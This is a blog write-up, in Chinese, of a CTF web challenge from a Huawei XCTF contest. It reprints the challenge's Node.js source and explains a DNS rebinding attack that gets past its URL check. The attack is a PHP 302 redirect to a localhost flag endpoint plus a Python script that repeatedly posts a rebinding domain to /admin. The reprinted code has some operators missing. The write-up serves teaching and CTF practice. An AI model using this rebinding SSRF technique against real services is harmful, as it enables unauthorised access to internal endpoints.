Author:颖奇L'Amore Blog:www.gem-love.com

题目介绍

在12月23日华为XCTF高校网络安全专题挑战赛-鲲鹏计算专场中,出现了一道DNS Rebinding Attack的题目,题目名称CLOUDSTORAGE,附件给了docker

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const express = require('express');
const env = require('dotenv').config();
const session = require('express-session');
const FileStore = require('session-file-store')(session);
const cookieParser = require("cookie-parser");
const path = require('path');
const crypto = require("crypto");
const bodyParser = require('body-parser');
const hbs = require('hbs');
const {docker} = require("./routes/docker.js")

const app = express();

app.use(express.static('public'));
app.use(cookieParser());
app.use(express.urlencoded({extended: false}));
app.use(express.json());
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(session({
name: "auth",
secret: env.parsed.session,
resave: false,
saveUninitialized: true,
store: new FileStore({path: __dirname+'/sessions/'})
}));
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')
app.use((req, res, next) => {
if (!req.session.files )
req.session.files = [];
if (!req.session.name)
req.session.name = md5(req.ip);
next();
})

const md5 = function (s) { return crypto.createHash('md5').update(s).digest('hex') }
require('./routes/cos.js')(app, md5, docker)
require("./routes/panel.js")(app, md5, docker)

app.get('/flag', function(req, res){
if (req.ip === '127.0.0.1') {
res.status(200).send(env.parsed.flag)
} else res.status(403).end('not so simple');
});

app.listen(80, "0.0.0.0");

cos.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
module.exports = function(app, md5, docker) {

const multer = require('multer');
const fs = require('fs');
const path = require('path')
const upload = multer({dest: '/tmp/upload_tmp/'});

app.get('/', function(req, res){
res.render("upload")
});

app.post('/upload', upload.any(), function(req, res){
if (!req.files[0]) {
res.send( JSON.stringify({"code" : "-1", "message" : "you are not allowed"}) )
return;
}

let filename = md5(req.files[0].originalname + req.files[0].size + req.ip)
let des_file = "static/upload/" + filename;
if (fs.existsSync(des_file)) {
res.end( JSON.stringify( {"code" : "-1", "message" : "already existed!"} ) )
return
}

fs.readFile( req.files[0].path, function (err, data) {
fs.writeFile(des_file, data, function (err) {
let response;
if (err) {
response = {"code" : "-1", "message" : "err!"}
} else {
response = {
code: '0',
filepath: des_file,
message: `http://${docker.host}:${docker.port}/download/${filename}`
};
req.session.files.push(filename)
}
res.end( JSON.stringify( response ) );
});
});
});

app.get('/download/:file', (req, res) => {
let filename = req.url.split("/download/").slice(1,req.url.split("/download/").length).join("")
if (filename.indexOf('..') !== -1) {
res.end( JSON.stringify( {"code" : "-1", "message" : "my dear dalao pls stop hacking me"} ) )
return
}
let file = path.join(__dirname, `../static/upload/${filename}`)
if (!fs.existsSync(file)) {
res.status(404).end( JSON.stringify( {"code" : "-1", "message" : "404 not found"} ) )
return
}
res.download(file)
})

}

docker.js

1
2
3
4
5
6
7
8
const env = require('dotenv').config();
const docker = {
'ip' : env.parsed.ip '121.37.175.154',
'port' : env.parsed.port '8000',
'host' : env.parsed.host 'cloudstorage.xctf.org.cn'
}

exports.docker = docker

panel.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
module.exports = function(app, md5, docker) {

const request = require('request');
const cp = require('child_process')
const { check } = require("./utils")

app.get('/admin', async (req, res) => {
let host = `http://${docker.host}:${docker.port}/`
let html = ""
await req.session.files.forEach((file) => {
html += `<a href ='javascript:doPost("/admin", {"fileurl":"${host}download/${file}"})' target=''>${file}</a><br>` + "\n\n"
})
res.render("admin", {"files" : html})
})

app.post('/admin', (req, res) => {
if ( !req.body.fileurl !check(req.body.fileurl) ) {
res.end("Invalid file link")
return
}
let file = req.body.fileurl;

//dont DOS attack, i will sleep before request
cp.execSync('sleep 5')

let options = {url : file, timeout : 3000}
request.get(options ,(error, httpResponse, body) => {
if (!error) {
res.set({"Content-Type" : "text/html; charset=utf-8"})
res.render("check", {"body" : body})
} else {
res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
}
});
})

}

utils.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
const cp = require('child_process')
const ip = require('ip')
const url = require('url');
const {docker} = require("./docker.js")

const checkip = function (value) {
let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
if (!pattern.exec(value))
return false;
let ary = value.split('.');
for(let key in ary)
{
if (parseInt(ary[key]) > 255)
return false;
}
return true ;
}

const dnslookup = function(s) {
if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
let query = '';
try {
query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
} catch (e) {
return 'wrong'
}
return checkip(query) ? query : 'wrong'
} else return 'wrong'
}

const check = function(s) {
if (!typeof (s) == 'string' !s.match(/^http\:\/\//))
return false

let blacklist = ['wrong', '127.', 'local', '@', 'flag']
let host, port, dns;

host = url.parse(s).hostname
port = url.parse(s).port
if ( host == null port == null)
return false

dns = dnslookup(host);
if ( ip.isPrivate(dns) dns != docker.ip ['80','8080'].includes(port) )
return false

for (let i = 0; i < blacklist.length; i++)
{
let regex = new RegExp(blacklist[i], 'i');
try {
if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
return false
} catch (e) {}
if (s.match(regex))
return false
}
return true
}

exports.check = check

题目套了一个云存储的壳,但是上传下载都没有什么卵用,主要看/admin路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app.post('/admin', (req, res) => {
if ( !req.body.fileurl !check(req.body.fileurl) ) {
res.end("Invalid file link")
return
}
let file = req.body.fileurl;

//dont DOS attack, i will sleep before request
cp.execSync('sleep 5')

let options = {url : file, timeout : 3000}
request.get(options ,(error, httpResponse, body) => {
if (!error) {
res.set({"Content-Type" : "text/html; charset=utf-8"})
res.render("check", {"body" : body})
} else {
res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
}
});
})

POST提交fileurl参数,首先调用check()进行url的验证,然后同步执行sleep 5命令,只有request去访问并把访问的结果渲染进模板 存在/flag路由,只有本地访问才能拿到flag:

1
2
3
4
5
app.get('/flag', function(req, res){
if (req.ip === '127.0.0.1') {
res.status(200).send(env.parsed.flag)
} else res.status(403).end('not so simple');
});

所以题目意图就很明显了,通过request想办法去访问到/flag并把flag带出来 URL的检测就是check函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
const checkip = function (value) {
let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
if (!pattern.exec(value))
return false;
let ary = value.split('.');
for(let key in ary)
{
if (parseInt(ary[key]) > 255)
return false;
}
return true ;
}

const dnslookup = function(s) {
if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
let query = '';
try {
query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
} catch (e) {
return 'wrong'
}
return checkip(query) ? query : 'wrong'
} else return 'wrong'
}

const check = function(s) {
if (!typeof (s) == 'string' !s.match(/^http\:\/\//))
return false

let blacklist = ['wrong', '127.', 'local', '@', 'flag']
let host, port, dns;

host = url.parse(s).hostname
port = url.parse(s).port
if ( host == null port == null)
return false

dns = dnslookup(host);
if ( ip.isPrivate(dns) dns != docker.ip ['80','8080'].includes(port) )
return false

for (let i = 0; i < blacklist.length; i++)
{
let regex = new RegExp(blacklist[i], 'i');
try {
if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
return false
} catch (e) {}
if (s.match(regex))
return false
}
return true
}

check()主要逻辑如下:

  1. url.parse()解析通过
  2. 利用公网上一个dns解析的api来解析,解析出的ip不能是私有ip并且必须等于docker.ip
  3. 端口不能是80或者8080
  4. 之后for循环匹配了一些黑名单关键字

这些全过了才可以,尤其是解析的ip必须是题目服务器的ip这个很恶心,而且公网这个dns解析的api对于域名可以解析出A记录地址,对于ip地址则返回这个ip地址,基本也没什么办法绕过,尤其对js不熟悉的同学更是无从下手。

DNS重绑攻击

DNS重绑攻击的详细介绍网上有很多文章,这里就以本例题给大家介绍一下。 当一个url被提交到/admin路由,题目干了两件事:

  1. check()内利用公网那个api对域名进行了第一次解析
  2. sleep 5后,request.get()访问url对域名进行了第二次解析

正如它的名字“重绑”,攻击者准备一个域名,在check时解析到了题目的ip地址,于是理所当然的过了check;之后,攻击者将其“重新绑定”到一个攻击者的ip或者内网ip或者本地ip,再第二次访问时第二次解析,此时解析出来的IP已经被重绑到了新的ip,于是就访问到了攻击者/内网/本地;这里的sleep本身也是一个助攻,因为这个时间差可以更利于重绑攻击的实现。 在CTF中,DNS重绑主要应用在SSRF题目中,例如2020 ASIS CTF PyCrypto。DNS重绑攻击的条件是要进行多次DNS解析,并且利用这个DNS解析的时间差来进行一些利用,关键是要找到DNS解析的顺序以及代码的逻辑,然后尝试重绑攻击。 很多时候DNS重绑是先过check然后重绑到127.0.0.1来SSRF。本题目的SSRF和常规SSRF的套路一致,但不能重绑到127.0.0.1,因为本地是80端口,但是check()并不允许访问80端口;所以我们可以让它解析到攻击者的ip并且是非80/8080端口,当访问到攻击者时,利用302跳转到http://127.0.0.1:80/flag,request会默认follow这个302重定向,即可SSRF成功。

攻击实现

相信有的选手尽管了解到这个攻击原理,但是没有一个好用的DNS Rebinding平台,这里列出几个免费的:

  1. https://requestrepo.com/
  2. https://lock.cmpxchg8b.com/rebinder.html
  3. http://rbnd.gl0.eu/

以第一个requestrepo为例: 首先准备一台个人服务器,开放非80/8080端口(我开的12389),跳转到http://127.0.0.1/flag

1
2
<?php
header("Location: http://127.0.0.1:80/flag");

来到requestrepo,DNS设置:

提交这个url到/admin:http://y1ng.s268zbgn.requestrepo.com:12389/hw.php 因为随机解析不一定每次都成功、api可能会请求1~2次、DNS缓存、题目比较卡等多方面原因,直接提交可能不会成功,就写脚本循环提交就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req

s = req.session()
url = "http://cloudstorage.xctf.org.cn:8011/admin"
data = {"fileurl" : "http://y1ng.s268zbgn.requestrepo.com:12389/hw.php" }
while True:
try:
text = s.post(url=url, data=data, timeout=10).text
print(text)
if "flag{" in text:
exit(0)
except Exception as e :
print(e)

当然也可以用一些现成的框架自己搭